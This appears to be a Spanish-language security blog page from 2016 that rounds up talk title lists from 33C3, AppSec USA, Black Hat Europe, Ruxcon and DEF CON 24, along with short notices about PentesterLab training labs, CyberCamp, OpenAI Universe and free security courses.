• Edible Soft Robotics
• Eavesdropping on the Dark Cosmos
• PUFs, protection, privacy, PRNGs
• The 12 Networking Truths
• What We Can Learn about Creativity from 3D Printing
• Hacking collective as a laboratory
• Lasers in the sky (with asteroids)
• Irren ist staatlich
• Interplanetary Colonization
• From Server Farm to Data Table
• Saving the World with (Vegan) Science
• The Moon and European Space Exploration
• Von Alpakas, Hasenbären und Einhörnern – Über Anerkennungskultur
• Berechnete Welt
• The woman behind your WiFi
• An Elevator to the Moon (and back)
• Hochsicherheits-Generalschlüssel Marke Eigenbau
• Decoding the LoRa PHY
• No Love for the US Gov.
• Technologien für und wider Digitale Souveränität
• Talking Behind Your Back
• Dissecting HDMI
• A New Dark Age
• Making Technology Inclusive Through Papercraft and Sound
• Building Custom Pinball Machines
• Machine Dreams
• Do as I Say not as I Do: Stealth Modification of Programmable Logic Controllers I/O by…
• Dissecting modern (3G/4G) cellular modems
• Liberté, Égalité, Fraternité... and privacy ?!
• On Smart Cities, Smart Energy, And Dumb Security
• Memory Deduplication: The Curse that Keeps on Giving
• Lightning Talks Day 3
• Corporate surveillance, digital tracking, big data & privacy
• Million Dollar Dissidents and the Rest of Us
• radare demystified
• How do we know our PRNGs work properly?
• Fnord-Jahresrückblick
• Eine kleine Geschichte der Parlamentsschlägerei
• Code BROWN in the Air
• ATMs how to break them to stop the fraud
• Durchmarsch von Rechts
• Shining some light on the Amazon Dash button
• SpinalHDL : An alternative hardware description language
• SpiegelMining – Reverse Engineering von Spiegel-Online
• Intercoms Hacking
• Build your own NSA
• Downgrading iOS: From past to present
• The Untold Story of Edward Snowden’s Escape from Hong Kong
• Stopping law enforcement hacking
• On the Security and Privacy of Modern Single Sign-On in the Web
• A world without blockchain
• Formal Verification of Verilog HDL with Yosys-SMTBMC
• Searchwing - Mit Drohnen leben retten
• Einführung zu Blockchains
• 3 Years After Snowden: Is Germany fighting State Surveillance?
• Die Sprache der Populisten
• Hacking Reality
• Copywrongs 2.0
• No USB? No problem.
• Haft für Whistleblower?
• Von Kaffeeriechern, Abtrittanbietern und Fischbeinreißern
• Recount 2016: An Uninvited Security Audit of the U.S. Presidential Election
• In Search of Evidence-Based IT-Security
• Gone in 60 Milliseconds
• Wheel of Fortune
• Tapping into the core
• Welcome to the Anthropocene?
• Hacking the World
• Lightning Talks Day 2
• The Clash of Digitalizations
• Syrian Archive
• How physicists analyze massive data: LHC + brain + ROOT = Higgs
• Es sind die kleinen Dinge im Leben
• Der 33 Jahrerückblick
• A look into the Mobile Messaging Black Box
• International exchange of tax information
• Nicht öffentlich.
• Woolim – Lifting the Fog on DPRK’s Latest Tablet PC
• Console Hacking 2016
• You can -j REJECT but you can not hide: Global scanning of the IPv6 Internet
• Visiting The Bear Den
• Netzpolitik in Österreich
• Lockpicking in the IoT
• Deploying TLS 1.3: the great, the good and the bad
• Where in the World Is Carmen Sandiego?
• Netzpolitik in der Schweiz 2016
• Nintendo Hacking 2016
• Make Wi-Fi fast again
• Software Defined Emissions
• Dieselgate – A year later
• Keys of Fury
• Bonsai Kitten waren mir lieber - Rechte Falschmeldungen in sozialen Netzwerken
• What's It Doing Now?
• Make the Internet Neutral Again
• Untrusting the CPU
• A Data Point Walks Into a Bar
• Routerzwang und Funkabschottung
• Pegasus internals
• Geolocation methods in mobile networks
• A Story of Discrimination and Unfairness
• Anthropology for kids - What is privacy?
• Shut Up and Take My Money!
• Kampf dem Abmahnunwesen
• Space making/space shaping
• Check Your Police Record!
• Law Enforcement Are Hacking the Planet
• The Nibbletronic
• The DROWN Attack
• Zwischen Technikbegeisterung und kritischer Reflexion: Chaos macht Schule
• Predicting and Abusing WPA2/802.11 Group Keys
• Bootstraping a slightly more secure laptop
• How Do I Crack Satellite and Cable Pay TV?
• Building a high throughput low-latency PCIe based SDR
• The Fight for Encryption in 2016
• Exploiting PHP7 unserialize
• Reverse engineering Outernet
• What could possibly go wrong with ?
• Everything you always wanted to know about Certificate Transparency
• The Global Assassination Grid
• 33C3 Opening Ceremony

Iremos actualizando esta entrada durante los próximos días añadiendo los vídeos que se vayan publicando.

33c3 Works for me

Un año más se celebra en Hamburgo, Alemania, el que, para mi, es el mejor congreso sobre seguridad/hacking del planeta. El Chaos Communication Congress (33c3), este año en su 33 edición, ha comenzado hoy y durará cuatro días. El panel de las charlas como de costumbre es impresionante.

Si no has podido asistir, siempre puedes seguir las charlas en directo desde la página de streaming.

Hackend - Se acabó el juego

El Instituto Nacional de Ciberseguridad (INCIBE), entidad dependiente del Ministerio de Energía, Turismo y Agenda Digital, ha puesto en marcha un nuevo servicio dirigido a microempresas y pymes. Se trata del videojuego ‘Hackend - Se acabó el juego’, una novedosa iniciativa para que los empresarios puedan conocer, de forma amena y divertida, cuáles son las principales vulnerabilidades que ponen en riesgo la seguridad de su empresa y qué medidas deben adoptar para solucionarlas.

Definiendo estructuras de datos desconocidas

Cuando tenemos que enfrentarnos a ficheros binarios del tipo ELF, PE, etc, o cualquier otro tipo de fichero cuya estructura es conocida, es “relativamente fácil” extraer mucha información sobre los mismos. Cuando tenemos que lidiar con ficheros o simplemente datos binarios (paquetes de datos de red, datos en memoria, etc) cuya estructura es desconocida, es prácticamente imposible extraer información útil, a menos que le demos forma a los datos de forma que tenga sentido.

Técnicas de programación anti-reversing para Linux

Programming Linux Anti-Reversing Techniques es un libro que te puedes descargar de forma totalmente gratuita. En éste se analizan diferentes técnicas de protección contra la ingeniería inversa y también te muestra como implementar dichas técnicas para proteger tus aplicaciones.

El libro también muestra las metodologías comunes usadas en el análisis de ficheros binarios usando programas conocidos: IDA, Radare2, GDB, readelf, etc.

Además, Jacob Baines, autor de dicho libro, ha creado un proyecto disponible en Github llamado Don´t Panic. Éste es un fichero binario, que puedes compilar tu mismo o puedes descargarte ya compilado, en el que se aplican varias de las técnicas mostradas en el libro y con el que puedes entretenerte un rato.

Padding Oracle Lab

PentesterLab ha vuelto a crear un nuevo curso/laboratorio de prácticas: Padding Oracle.

Este laboratorio trata de aprovechar una vulnerabilidad en el sistema de autentificación de una web creada en PHP. La idea es aprovecharse la debilidad presentada a través de la fuga de información y la explotación de la misma.

Como de costumbre, dicha práctica está disponible en forma de fichero ISO. También puedes acceder a la misma al servicio online por PentesterLab, siempre cuando tengas una cuenta Pro.

(IN) Secure Magazine, Diciembre 2016

 

Último número de la fantástica revista gratuita sobre seguridad (IN) Secure Magazine que podéis descargar en PDF o leer directamente desde su página web:

(IN) Secure Magazine Número 52, Diciembre 2016

De paso puedes también echarle un vistazo a números anteriores.

Cómo entrenar a tu IA

 Fotos: Web OpenAI

¿Tienes una IA pero no sabes cómo probarla? 

Pues ya no tienes que preocuparte, OpenAI te ofrece su nueva plataforma llamada Universe la cual te permite comprobar y entrenar una IA utilizando juegos, páginas web ó incluso aplicaciones como medio de pruebas.

La base de su funcionamiento es sencillo: hacer que un agente (la IA) utilice un ordenador igual como lo haría un ser humano, es decir, mirando la pantalla (en su caso identificando pixeles) y utilizando el ratón y el teclado. Por lo tanto sólo tenemos que elegir en qué entorno queremos probar nuestra IA y dejamos que vaya adquiriendo experiencia poco a poco. Como hemos comentado antes, los agentes utilizan las interfaces comunes, por lo tanto el agente de la IA funcionará controlando un escritorio remoto observando los pixeles proyectados en la pantalla y generando respuestas tanto en el teclado como en el ratón. El sistema está basado en servidores VNC y la librería propia de Universe permite al agente conectar con ellos.

Un teorema para cada día

Siguiendo la misma filosofía de otras páginas web como por ejemplo, Astronomy Picture of the Day, esta página nos ofrece una breve pero muy completa explicación de un teorema cada día:

Theorem of the Day

Además cada teorema se publica en PDF en formato “cheat sheet” el cual suele ocupar una sola página, pero con una completa descripción y explicación del mismo.

Vídeos de App Sec USA 2016

Ya están disponibles los vídeos de las presentaciones de App Sec USA 2016

• Cleaning Your Applications' Dirty Laundry with Scumblr - AppSecUSA 2016
• Everything is Terrible: Three Perspectives on Building, Configuring, and Securing Software
• HTTPS & TLS in 2016: Security practices from the front lines - AppSecUSA 2016
• Justin Collins - Practical Static Analysis for Continuous Application Security - AppSecUSA 2016
• Using language-theoretics and runtime visibility to align AppSec with DevOps - AppSecUSA 2016
• Manideep Konakandla - Breaking and Fixing your ‘Docker’ ized environments - AppSecUSA 2016
• Chris Gates & Ken Johnson - DevOops: Redux - AppSecUSA 2016
• Zane Lackey - Practical tips for web application security in the age of agile and DevOps
• Chenxi Wang - Protect Containerized Applications With System Call Profiling - AppSecUSA 2016
• Scaling Security Assessment at the Speed of DevOps - AppSecUSA 2016
• Yair Amit - The Ways Hackers Are Taking To Win The Mobile Malware Battle - AppSecUSA 2016
• Your License for Bug Hunting Season - AppSecUSA 2016
• When encryption is not enough: Attacking Wearable - AppSecUSA 2016
• Jimmy Mesta - Containerizing your Security Operations Center - AppSecUSA 2016
• Practical Tips For Running A Successful Bug Bounty Program - AppSecUSA 2016
• Simon Thorpe - Why using SMS in the authentication chain is risky - AppSecUSA 2016
• Marco Lancini - Needle: Finding Issues within iOS Applications - AppSecUSA 2016
• Patterns of Authentication and Self-Announcement in IoT - AppSecUSA 2016
• [AUDIO] Should there be an Underwriters Laboratories certification for software in IoT products?
• Arshan Dabirsiaghi - How To Find The Next Great Deserialization CVE - AppSecUSA 2016
• Stephen De Vries - Threat Modeling With Architectural Risk Patterns - AppSecUSA 2016
• Kevin Johnson & Jason Gillam - Next Gen Web Pen Testing - AppSecUSA 2016
• Dave Lewis - Barbarians at the Gate(way) - AppSecUSA 2016
• Eric Johnson - Continuous Integration: Live Static Analysis using Visual Studio & the Roslyn API
• Matt Tesauro - AppSec++ Take the best of Agile, DevOps and CI/CD into your AppSec Program
• Dan Kuykendall - SPArring with the Security of Single Page Applications - AppSecUSA 2016
• Automating API Penetration Testing using fuzzapi - AppSecUSA 2016
• James Kettle - Exploiting CORS Misconfigurations for Bitcoins and Bounties - AppSecUSA 2016
• Evan Johnson - Misconfigured CORS and why web appsec is not getting easier - AppSecUSA 2016
• Ofer Maor - Putting an 'I' in Code Review Turning Code Reviewing Interactive - AppSecUSA 2016

Abierto el plazo de inscripción de CyberCamp 2016

• La tercera edición de este evento organizado por el Instituto Nacional de Ciberseguridad (INCIBE) se celebrará del 1 al 4 de diciembre en León y está dirigida a todos los públicos 
• Conferencias, talleres, foro de empleo y talento o actividades para toda la familia son algunas de las propuestas de este evento para aprender a usar Internet de forma segura

León, 03 de noviembre de 2016.- Expertos, profesionales de la ciberseguridad, jóvenes talentos, familias, centros educativos y público en general interesados en hacer un uso seguro de Internet, tienen una cita ineludible con CyberCamp 2016, el gran evento de la ciberseguridad que se celebrará del 1 al 4 de diciembre en León, ciudad que releva a Madrid en esta edición coincidiendo con el décimo aniversario del Instituto Nacional de Ciberseguridad, organismo perteneciente a la Secretaría de Estado de Telecomunicaciones y para la Sociedad de la Información.

Presentaciones de Black Hat Europe 2016

Ya se encuentran disponibles las presentaciones de otra de las ediciones de Black Hat, la edición europea de 2016 en este caso.

• (Pen)Testing Vehicles with CANToolz eu-16-Sintsov-Pen-Testing-Vehicles-With-Cantoolz.pdf
• 50 Thousand Needles in 5 Million Haystacks: Understanding Old Malware Tricks to Find New Malware Families eu-16-Valeros-50-Thousand-Needles-In-5-Million-Haystacks-Understanding-Old-Malware-Tricks-To-Find-New-Malware-Families.pdf
• AI based Antivirus: Can AlphaAV Win the Battle in which Man Has Failed? eu-16-Wang-AI-Based-Antivirus-Can-Alphaav-Win-The-Battle-In-Which-Man-Has-Failed.pdf
• Another Brick Off the Wall: Deconstructing Web Application Firewalls Using Automata Learning eu-16-Argyros-Another-Brick-Off-The-Wall-Deconstructing-Web-Application-Firewalls-Using-Automata-Learning.pdf eu-16-Argyros-Another-Brick-Off-The-Wall-Deconstructing-Web-Application-Firewalls-Using-Automata-Learning-wp.pdf eu-16-Argyros-Another-Brick-Off-The-Wall-Deconstructing-Web-Application-Firewalls-Using-Automata-Learning-too-lightbulb-framework.zip
• ARMageddon: How Your Smartphone CPU Breaks Software-Level Security and Privacy eu-16-Lipp-ARMageddon-How-Your-Smartphone-CPU-Breaks-Software-Level-Security-And-Privacy.pdf eu-16-Lipp-ARMageddon-How-Your-Smartphone-CPU-Breaks-Software-Level-Security-And-Privacy-wp.pdf armageddon
• Attacking Windows by Windows eu-16-Liang-Attacking-Windows-By-Windows.pdf
• Automating Incident Response: Sit Back and Relax Bots are Taking Over… eu-16-Hovor-Automating-Incident-Investigations-Sit-Back-And-Relax-Bots-Are-Taking-Over.pdf
• Backslash Powered Scanning: Hunting Unknown Vulnerability Classes eu-16-Kettle-Backslash-Powered Scanning-Hunting-Unknown-Vulnerability-Classes.pdf eu-16-Kettle-Backslash-Powered Scanning-Hunting-Unknown-Vulnerability-Classes-wp.pdf eu-16-Kettle-Backslash-Powered Scanning-Hunting-Unknown-Vulnerability-Classes-backslashPoweredScanner.zip eu-16-Kettle-Backslash-Powered Scanning-Hunting-Unknown-Vulnerability-Classes-distributeDamage.zip
• Breaking BHAD: Abusing Belkin Home Automation Devices eu-16-Tenaglia-Breaking-Bhad-Abusing-Belkin-Home-Automation-Devices.pdf
• Breaking Big Data: Evading Analysis of the Metadata of Your Life eu-16-Venable-Breaking-Big-Data-Evading-Analysis-Of-The-Metadata-Of-Your-Life.pdf
• Bypassing Clang's SafeStack for Fun and Profit
• Bypassing Secure Boot Using Fault Injection eu-16-Timmers-Bypassing-Secure-Boot-Using-Fault-Injection.pdf
• Chasing Foxes by the Numbers: Patterns of Life and Activity in Hacker Forums eu-16-Ahlberg-Chasing-Foxes-By-The-Numbers-Patterns-Of-Life-And-Activity-In-Hacker-Forums.pdf
• Code Deobfuscation: Intertwining Dynamic Static and Symbolic Approaches eu-16-David-Code-Deobfuscation-Intertwining-Dynamic-Static-And-Symbolic-Approaches.pdf
• CTX: Eliminating BREACH with Context Hiding eu-16-Karakostas-Ctx-Eliminating-BREACH-With-Context-Hiding.pdf eu-16-Karakostas-Ctx-Eliminating-BREACH-With-Context-Hiding-wp.pdf
• Cyber Judo: Offensive Cyber Defense eu-16-Beery-Grady-Cyber-Judo-Offensive-Cyber-Defense.pdf
• Detach Me Not - DoS Attacks Against 4G Cellular Users Worldwide from your Desk eu-16-Holtmanns-Detach-Me-Not.pdf
• DRAMA: How Your DRAM Becomes a Security Problem eu-16-Schwarz-How-Your-DRAM-Becomes-A-Security-Problem.pdf eu-16-Schwarz-How-Your-DRAM-Becomes-A-Security-Problem-wp.pdf eu-16-Schwarz-How-Your-DRAM-Becomes-A-Security-Problem-tool.zip
• Effective File Format Fuzzing – Thoughts Techniques and Results eu-16-Jurczyk-Effective-File-Format-Fuzzing-Thoughts-Techniques-And-Results.pdf
• EGO MARKET: When People's Greed for Fame Benefits Large-Scale Botnets eu-16-Paquet-Clouston-Ego-Market_When-Greed-for-Fame-Benefits-Large-Scale-Botnets.pdf eu-16-Paquet-Clouston-Ego-Market_When-Greed-for-Fame-Benefits-Large-Scale-Botnets-wp.pdf
• Flip Feng Shui: Rowhammering the VM's Isolation eu-16-Razavi-Flip-Feng-Shui-Rowhammering-The-VMs-Isolation.pdf eu-16-Razavi-Flip-Feng-Shui-Rowhammering-The-VMs-Isolation-wp.pdf
• Ghost in the PLC: Designing an Undetectable Programmable Logic Controller Rootkit eu-16-Abbasi-Ghost-In-The-PLC-Designing-An-Undetectable-Programmable-Logic-Controller-Rootkit.pdf eu-16-Abbasi-Ghost-In-The-PLC-Designing-An-Undetectable-Programmable-Logic-Controller-Rootkit-wp.pdf
• GPU Security Exposed eu-16-Taft-GPU-Security-Exposed.pdf
• How to Fool an ADC Part II or Hiding Destruction of Turbine with a Little Help of Signal Processing eu-16-Gonzalez-How-To-Fool-An-ADC-Part-II-Or-Hiding-Destruction-Of-Turbine-With-A-Little-Help-Of-Signal-Processing.pdf
• I Know What You Saw Last Minute - The Chrome Browser Case eu-16-Dubin-I-Know-What-You-Saw-Last-Minute-The-Chrome-Browser-Case.pdf eu-16-Dubin-I-Know-What-You-Saw-Last-Minute-The-Chrome-Browser-Case-WP.pdf
• Inside Web Attacks: The Real Payloads
• Locknote: Conclusions and Key Takeaways from Black Hat Europe 2016
• Mobile Espionage in the Wild: Pegasus and Nation-State Level Attacks eu-16-Bazaliy-Mobile-Espionage-in-the-Wild-Pegasus-and-Nation-State-Level-Attacks.pdf
• Narcos Counterfeiters and Scammers: An Approach to Visualize Illegal Markets eu-16-Lewman-Narcos-Counterfeiters-And-Scammers-An-Approach-To-Visualize-Illegal-Markets.pdf
• Pocket-Sized Badness: Why Ransomware Comes as a Plot Twist in the Cat-Mouse Game eu-16-Maggi-Pocket-sized Badness-Why-Ransomware Comes-as-a-Plot-Twist-in-the-Cat-Mouse-Game.pdf heldroid
• Randomization Can't Stop BPF JIT Spray eu-16-Reshetova-Randomization-Can't-Stop-BPF-JIT-Spray.pdf eu-16-Reshetova-Randomization-Can't-Stop-BPF-JIT-Spray-wp.pdf
• Real-World Post-Quantum Cryptography: Introducing the OpenQuantumSafe Software Project
• Rooting EVERY Android: From Extension to Exploitation eu-16-Shen-Rooting-Every-Android-From-Extension-To-Exploitation.pdf eu-16-Shen-Rooting-Every-Android-From-Extension-To-Exploitation-wp.pdf eu-16-Shen-Rooting-Every-Android-From-Extension-To-Exploitation-wp.pdf
• Signing Into One Billion Mobile App Accounts Effortlessly with OAuth2.0 eu-16-Yang-Signing-Into-Billion-Mobile-Apps-Effortlessly-With-OAuth20.pdf eu-16-Yang-Signing-Into-Billion-Mobile-Apps-Effortlessly-With-OAuth20-wp.pdf
• Stumping the Mobile Chipset eu-16-Donenfeld-Stumping-The-Mobile-Chipset.pdf eu-16-Donenfeld-Stumping-The-Mobile-Chipset-wp.pdf
• Talking Behind Your Back: Attacks and Countermeasures of Ultrasonic Cross-Device Tracking eu-16-Mavroudis-Talking-Behind-Your-Back-Attacks-And-Countermeasures-Of-Ultrasonic-Cross-Device-Tracking.pdf
• Towards a Policy-Agnostic Control-Flow Integrity Implementation eu-16-Sullivan-Towards-A-Policy-Agnostic-Control-Flow-Integrity-Implementation.pdf
• Use-After-Use-After-Free: Exploit UAF by Generating Your Own eu-16-Wen-Use-After-Use-After-Free-Exploit-UAF-By-Generating-Your-Own.pdf eu-16-Wen-Use-After-Use-After-Free-Exploit-UAF-By-Generating-Your-Own-wp.pdf
• When Virtualization Encounter AFL: A Portable Virtual Device Fuzzing Framework with AFL eu-16-Li-When-Virtualization-Encounters-AFL-A-Portable-Virtual-Device-Fuzzing-Framework-With-AFL.pdf eu-16-Li-When-Virtualization-Encounters-AFL-A-Portable-Virtual-Device-Fuzzing-Framework-With-AFL-wp.pdf
• WiFi-Based IMSI Catcher eu-16-OHanlon-WiFi-IMSI-Catcher.pdf
• Witchcraft Compiler Collection: Towards Self Aware Computer Programs eu-16-Brossard-Witchcraft-Compiler-Collection-Towards-Self-Aware-Computer-Programs.pdf eu-16-Brossard-Witchcraft-Compiler-Collection-Towards-Self-Aware-Computer-Programs-wp.pdf

De la inyección de SQL a la shell, material de …

Los miembros de PentesterLab han creado un paquete con material para presentaciones y enseñanza basado en un laboratorio de prácticas sobre inyección de SQL.

El objetivo es proveerte con una serie de diaspositivas y guía, además de una prácticas ya preparadas, para la enseñanza de ataques a aplicaciones web, explotando vulnerabilidades de inyección de SQL.

El paquete lo han titulado Meetup pack for “From SQL Injection to Shell”. El curso en el que está basado es From SQL Injection to Shell (ISO del curso), el cual puedes hospedar tú mismo o usar la versión online (para éste necesita tener una cuenta PRO). Las diapositivas se encuentran en este enlace. También hay disponibles vídeos sobre dicho laboratorio, pero de nuevo, sólo son accesible con una cuenta PRO.

Presentaciones de Ruxcon 2016

Ya podemos acceder a las presentaciones de Ruxcon Security Conference 2016:

• Windows Metafiles: An Analysis of the EMF Attack Surface & Recent Vulnerabilities
• Forcing A Targeted LTE Cellphone Into An Unsafe Network
• $hell on Earth: From Browser to System Compromise
• Demystifying the Secure Enclave Processor
• Strolling into Ring-0 via I/O Kit Drivers
• Rainbow Over the Windows: More Colors Than You Could Expect
• Hacker-Machine Interface - State of the Union for SCADA HMI Vulnerabilities
• Breaking out of QEMU
• Make iOS App more Robust and Security through Fuzzing
• Exploiting COF Vulnerabilities In The Linux Kernel
• Of Mice and Keyboards: On the Security of Modern Wireless Desktop Sets
• Firmware Biopsy: Towards Taming The Lunacy
• Leaking Windows Kernel Pointers
• FRAPL - Next Generation Reverse Engineering Framework
• Documented to Fail
• Writing Malware While The Blue Team Is Staring At You
• Fighting Metamorphism using Deep Neural Network with Fourier
• On Her Majesty’s Secret Service – GRX and a Spy Agency
• Orbiting The Saturn: Investigating A Decades-Old DRM System
• Make Event Tracing Great Again

Serie de cursos gratuitos sobre ciberseguridad

La Universidad de Helsinki, en colaboración con F-Secure han creado Cyber Security Base, una serie de cursos sobre ciberseguridad.

Actualmente sólo el primero de los cursos está disponible, el resto se irán haciendo públicos a medida que vayan creando el material asociado a los mismos. Los cursos son los siguientes:

• Introduction to Cyber Security
• Securing Software
• Course Project I
• Advanced Topics
• Course Project II
• Capture The Flag

Si quieres mantenerte informado cada vez que publiquen un nuevo curso deberías suscribirte.

A través de esta serie de cursos se estudiarán conceptos sobre varias temas tales como: introducción a la ciberseguridad y seguridad operacional, desarrollo de aplicaciones web, vulnerabilidades típicas en aplicaciones web, cómo se descubren y cómo protegerse de dichas vulnerabilidades y conceptos avanzados como arquitectura de software seguro y criptografía.

Golosas iniciativas de Incibe en #CyberCamp16 para …

Incibe, el instituto sobre ciberseguridad español, celebra de su segundo evento anual sobre ciberseguridad CyberCamp del 1 al 4 de diciembre en León, España.

Este año, edición 16, trae dos nuevas iniciativas: novedades en el Hackathon y un torneo sobre desarrollo de software seguro.

Un Hackathon o “maratón de hacking”, es una actividad que está muy de moda en los círculos de la programación y el desarrollo de software. Esto no es necesariamente una competición, de hecho muchos grupos de desarrolladores se reúnen de forma mensual o cada X tiempo, para desarrollar aplicaciones para la comunidad, empresas sin ánimo de lucro, etc. En el caso de CyberCamp es una competición por equipos que se llevará a cabo durante los días del evento y cuyo objetivo es crear alguna herramienta nueva o mejorar alguna ya existente. El plazo de inscripción está actualmente abierto hasta el 1 de noviembre. La novedad, es que este año hay un apartado enfocado a los sistemas industriales SCADA, Supervisory Control And Data Acquisition (Supervisión, Control y Adquisición de Datos). Los participantes que se interesen por esta temática recibirán con antelación información adicional sobre la arquitectura de la plataforma industrial a utilizar en el evento. Además de esto y como un aliciente a las nuevas promesas del sector, se otorgaran créditos ECTS a todos los estudiantes universitarios que deseen participar en el evento

Vídeos de DEF CON 24

Junto con las presentaciones de DEF CON 24, ya también tenemos acceso a los vídeos:

• WIFI 204 Insteon, Inste off, Inste open
• WIFI 202 Evil ESP
• WIFI 201 WCTF Day 2 Kickoff
• WIFI 105 Introducing the HackMeRF
• WIFI 104 Handing Full Control of the Radio Spectrum Over to the Machines
• WIFI 103 How Do IBLE Hacking
• WIFI 102 Decoding LoRa Exploring Next Gen Wireless
• WIFI 101 Wireless Capture the Flag Inbrief
• Weaponizing Data Science for Social Engineering Automated E2E spear phishing on Twit
• weaponize your feature codes
• VLAN hopping, ARP poisoning & MITM Attacks in Virtualized Environments
• Use Their Machines Against Them Loading Code with a Copier
• Universal Serial aBUSe Remote physical access attacks
• toxic proxies bypassing HTTPS and VPNs to pwn your online identity
• The Remote Metamorphic Engine Detecting, Evading, Attacking the AI and Reverse Engin
• the next gen of emergency ph0nage
• T1 Jeopardy 2
• T1 Jeopardy 1
• Stumping the Mobile Chipset
• sticky keys to the kingdom
• Stargate Pivoting Through VNC To Own Internal Networks
• so you think you want to be a pentester
• Slouching Towards Utopia The State of the Internet Dream
• Sk3wlDbg Emulating all well many of the things with Ida
• Six Degrees of Domain Admin
• Side channel attacks on high security electronic safe locks
• sentient storage do ssd's have a mind of their own
• secure penetration testing operations
• SE 301 The Live SE Podcast
• SE 205 Advanced Social Engineering Techniques and The Rise of Cyber Scam Industrial
• SE 204 How to Un Work your job Revolutionism Radicals, and Engineering by Committee
• SE 203 SCAM CALL Call Dropped
• SE 202 Total Fail and Bad Mistakes I've Made a Few
• SE 201 Human Hacking You ARE the weakest link
• SE 105 You are being manipulated
• SE 104 US Interrogation Techniques and Social Engineering
• SE 103 7 Jedi Mind Tricks Influence Your Target without a Word
• SE 102 The Wizard of Oz Painting a reality through deception
• SE 101 Does Cultural differences become a barrier for social engineering
• Samsung Pay Tokenized Numbers, Flaws and Issues
• Robot Hacks Video Games How TASBot Exploits Consoles with Custom Controllers
• Retweet to win How 50 lines of Python made me the luckiest guy on Twitter
• Research on the Machines Help the FTC Protect Privacy & Security
• real time bluetooh device detection with blue hydra
• propaganda and you
• Project CITL
• Playing Through the Pain The Impact of Secrets and Dark Knowledge
• Platform Agnostic Kernel Fuzzing
• pin2pwn How to Root an Embedded Linux Box with a Sewing Needle
• Picking Bluetooth Low Energy Locks from a Quarter Mile Away
• phishing without failure and frustration
• PH 301 Packet Hacking Village, Block 5
• PH 202 Packet Hacking Village, Block 4
• PH 201 Packet Hacking Village, Block 3
• PH 102 Packet Hacking Village, Block 2
• PH 101 Packet Hacking Village, Block 1
• network protocol reverse engineering
• Mr Robot Panel
• MouseJack Injecting Keystrokes into Wireless Mice
• mouse jiggler offense and defense
• malware command and control channels a journey into darkness
• Maelstrom are you plaing with a full deck
• Machine Duping Pwning deep learning systems
• LOCK 302 Sesame Style Pad Locks
• LOCK 203 Intro to LockpickingPower
• LOCK 202 Intro to LockpickingPower
• LOCK 201 Intro to LockpickingDuffley
• LOCK 104 Intro to Lock PickingFitzhugh
• LOCK 102 Locking Picking 101
• LOCK 101 Locking Picking 101
• Light Weight Protocol! Serious Equipment! Critical Implications!
• Let's Get Physical Network Attacks Against Physical Security Systems
• Jittery MacGyver Lessons Learned from Building a Bionic Hand out of a Coffee Maker
• I've got 99 Problems, but LittleSnitch ain't one
• IOT 203 Tranewreck More Internet, More Problems
• IOT 202 Reversing and Exploiting Embedded Devices
• IOT 103 Is Your Internet Light On Protecting Consumers In the Age of Connected Every
• IOT 102 Btlejuice The Bluetooth Smart Mitm Framework
• Introduction the Wichcraft Compiler Collection Towards universal code theft
• inexpensive coordinated gsm anomaly detection
• I Fight For The Users, Episode I Attacks Against Top Consumer Products
• How To Remote Control An Airliner Security Flaws in Avionics
• How to overthrow a Government
• How to Make Your Own DEF CON Black Badge
• how to launch or improve your vulnerablitity research game
• how to generate a 4tbs DDOS for $5
• How to do it Wrong Smartphone Antivirus and Security Applications Under Fire
• How to design distributed systems resilient despite malicious participants
• how to build a processor in 10 minutes or less
• Honey Onions Exposing Snooping Tor HSDir Relays Guevara Noubir & Amirali Sanatinia
• Hiding Wookiees in HTTP HTTP smuggling
• HH 301 Basics of EAGLE CAD and PCB design tips
• HH 201 Basic Firmware Extraction
• HH 102 Why Amateur Radio in the Age of the Internet
• HH 101 Building malicious hardware out of analog circuits
• Help, I've got ANTs!!!
• Hacking Next Gen ATM's From Capture to Cashout
• Hacking Hotel Keys and Point of Sale systems
• hacking boarding passes for fun and profit
• Hacker Machine Interface State of the Union for SCADA HMI Vulnerabilities
• Game over, man! Reversing Video Games to Create an Unbeatable AI Player
• frontrunning the frontrunners
• Forcing a Targeted LTE Cellphone into Unsafe Network
• feds and 0days from before hearthbleed to after FBI apple
• Exploiting and attacking seismological networks remotely
• exploit mitigation techniques on iOS
• Examining the Internet's pollution
• esoteric exfiltration
• escaping the sandbox by not breaking it
• Drunk Hacker History Hacker Stories Powered by C2H6O for Fun & Profit
• Drones Hijacking multi dimensional attack vectors & countermeasures
• DIY Nukeproofing a new dig at data mining
• Discovering and Triangulating Rogue Cell Towers
• Direct Memory Attack the Kernel
• Developing Managed Code Rootkits for the Java Runtime Environment
• DEF CON Welcome & Badge Talk
• def con 101 panel III rise of the noobs
• DC 202
• DARPA Cyber Grand Challenge Award Ceremony
• Cyber Who Done It! Attribution Analysis Through Arrest History
• Cyber Grand Shellphish
• Cunning with CNG Soliciting Secrets from Schannel
• Crypto State of the Law
• CP 301 My Usability Goes to 11 A Hacker's Guide to User Experience Research
• CP 203 Catching a cheat practical exercise in code breaking
• CP 202 Blue Coat SSL Visibility Exposed
• CP 103 How to Backdoor Diffie Hellman
• CP 102 Security Logs Aren't Good Enough
• CP 101 Revocation, the Frailty of PKI
• compelled decryption state of the art doctrinal perversions
• Closing Ceremonies
• Cheap Tools for Hacking Heavy Trucks
• CH 201
• CH 301 Understanding Heavy Truck Event Data
• CH 203 Security Flaws in Automotive Immobilizer
• CH 202 Deep Learning on CAN BUS
• CH 103 Hacking the CHV Badge
• CH 102 The Mitsubishi Hack Explained
• CH 101 Vehicle to Infrastructure V2X
• CANSPY A Framework for Auditing CAN Devices
• Can You Trust Autonomous Vehicles Contactless Attacks
• CAN i haz car secret plz
• Bypassing Captive Portals and Limited Networks
• BSODomizer
• Breaking the Internet of Vibrating Things
• BlockFighting with a Hooker BlockfFghter2!
• BIO 305 Attention Hackers Cannabis Needs Your Help!
• BIO 304 Implants
• BIO 303 Hacking Perception
• BIO 302 CrisprCas9 Newest Tools for Biohacking Fun!
• BIO 301 Nootropics Better Living Through Chemistry or Modern Day Prometheus
• BIO 206 Transcranial Direct Current Stimulation Brain Stimulation the Do It Yourself
• BIO 205 Intro to Brain Based Authentication
• BIO 204 The Next Big Thing in Bioterrorism
• BIO 203 The Era of Bio Big Data Benefits and Challenges for Information Security, He
• BIO 202 The Bioethics of BioHacking
• BIO 201 Oday for the Soul
• Beyond the MCSE Red teaming active directory
• Backdooring the Frontdoor
• auditing 6loWPAN networks
• Attacking BaseStations an Odyssey through a Telco's Network
• Ask the EFF
• anti forensics AF
• An introduction to Pinworm man in the middle for your metadata
• All Your Solar Panels are belong to Me
• ADD 3 SDR Tips and Tricks
